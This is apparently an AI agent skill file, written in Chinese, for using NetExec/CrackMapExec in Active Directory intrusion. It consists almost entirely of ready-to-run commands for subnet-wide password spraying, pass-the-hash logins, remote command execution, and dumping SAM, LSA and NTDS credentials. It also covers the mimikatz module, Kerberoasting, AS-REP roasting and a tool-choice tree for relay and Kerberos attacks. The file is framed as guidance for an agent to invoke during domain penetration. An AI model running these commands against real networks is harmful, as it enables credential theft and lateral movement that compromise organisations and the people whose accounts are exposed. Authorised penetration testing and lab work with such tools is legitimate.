| name | nxc-cme |
| description | 使用 NetExec (nxc) / CrackMapExec (cme) 进行 Windows/AD 网络批量操作。当需要批量验证凭据、密码喷洒、远程命令执行、共享枚举、凭据导出时使用。nxc 是 CrackMapExec 的继任者,支持 SMB/WinRM/LDAP/MSSQL/SSH/RDP/FTP/WMI 等协议。在域渗透中用于批量操作——用一条命令对整个网段做凭据验证或命令执行。涉及 CrackMapExec、NetExec、nxc、cme、密码喷洒、SMB 批量、域用户枚举的场景使用此技能 |
| metadata | {"tags":"nxc,netexec,cme,crackmapexec,smb,winrm,ldap,密码喷洒,凭据,域,横向移动,批量,spray","category":"tool"} |
NetExec (nxc) / CrackMapExec (cme)
nxc(NetExec)是 CrackMapExec 的继任者——命令语法几乎相同,但 nxc 更新更活跃。如果目标机器上只有 cme,用法一样,把 nxc 换成 cme 即可。
核心价值:一条命令操作整个网段——批量验证凭据、喷洒密码、远程执行、枚举信息。
项目地址:
网络发现与输出解读
nxc smb 10.0.0.0/24
nxc smb TARGET --port 4455
nxc smb 10.0.0.0/24 --export json /tmp/nxc_scan.json
nxc smb 10.0.0.0/24 | tee nxc_output.txt
nxc smb DC_IP --generate-hosts-file /etc/hosts
nxc smb DC_IP --generate-krb5-file /etc/krb5.conf
nxc rdp 10.0.0.0/24
nxc rdp TARGET -u user -p 'password'
凭据验证
nxc smb 10.0.0.0/24 -u admin -p 'P@ssw0rd'
nxc smb 10.0.0.0/24 -u admin -H NTLM_HASH
nxc smb 10.0.0.0/24 -u administrator -p 'password' --local-auth
密码喷洒
nxc smb DC_IP -u users.txt -p 'Summer2024!' --continue-on-success
nxc smb DC_IP -u users.txt -p passwords.txt --continue-on-success --no-bruteforce
nxc winrm 10.0.0.0/24 -u admin -p 'password'
远程命令执行
nxc smb TARGET -u admin -p 'password' -x "whoami"
nxc smb TARGET -u admin -p 'password' -x "type C:\flag.txt"
nxc winrm TARGET -u admin -p 'password' -x "ipconfig"
nxc smb TARGET -u admin -p 'password' -X "Get-Process"
nxc smb 10.0.0.0/24 -u admin -p 'password' -x "hostname" --continue-on-success
信息枚举
nxc smb TARGET -u user -p 'password' --shares
nxc smb DC_IP -u user -p 'password' --users
nxc smb DC_IP -u user -p 'password' --groups
nxc smb DC_IP -u user -p 'password' --pass-pol
nxc smb 10.0.0.0/24 -u user -p 'password' --sessions
nxc smb 10.0.0.0/24 -u user -p 'password' --loggedon-users
凭据导出
nxc smb TARGET -u admin -p 'password' --sam
nxc smb TARGET -u admin -p 'password' --lsa
nxc smb DC_IP -u admin -p 'password' --ntds
nxc smb DC_IP -u admin -p 'password' --ntds | tee ntds_dump.txt
LDAP 操作
nxc ldap DC_IP -u user -p 'password' --users
nxc ldap DC_IP -u user -p 'password' --kerberoasting output.txt
nxc ldap DC_IP -u user -p 'password' --asreproast output.txt
nxc ldap DC_IP -u user -p 'password' --trusted-for-delegation
MSSQL
nxc mssql 10.0.0.0/24 -u sa -p 'password'
nxc mssql TARGET -u sa -p 'password' -q "SELECT name FROM master.dbo.sysdatabases"
nxc mssql TARGET -u sa -p 'password' -x "whoami"
模块系统
nxc smb -L
nxc smb TARGET -u admin -p 'password' -M mimikatz
nxc smb TARGET -u user -p 'password' -M spider_plus
nxc smb TARGET -u user -p 'password' -M webdav
决策树
nxc vs impacket 怎么选?
├─ 批量操作(整个网段)→ nxc(一条命令做完)
├─ 单目标深度操作 → impacket(更灵活)
├─ 密码喷洒 → nxc(内置 --no-bruteforce)
├─ 凭据导出 → 都行(nxc --sam/--ntds 或 secretsdump)
├─ NTLM 中继 → impacket ntlmrelayx
└─ Kerberos 攻击 → impacket(更完整)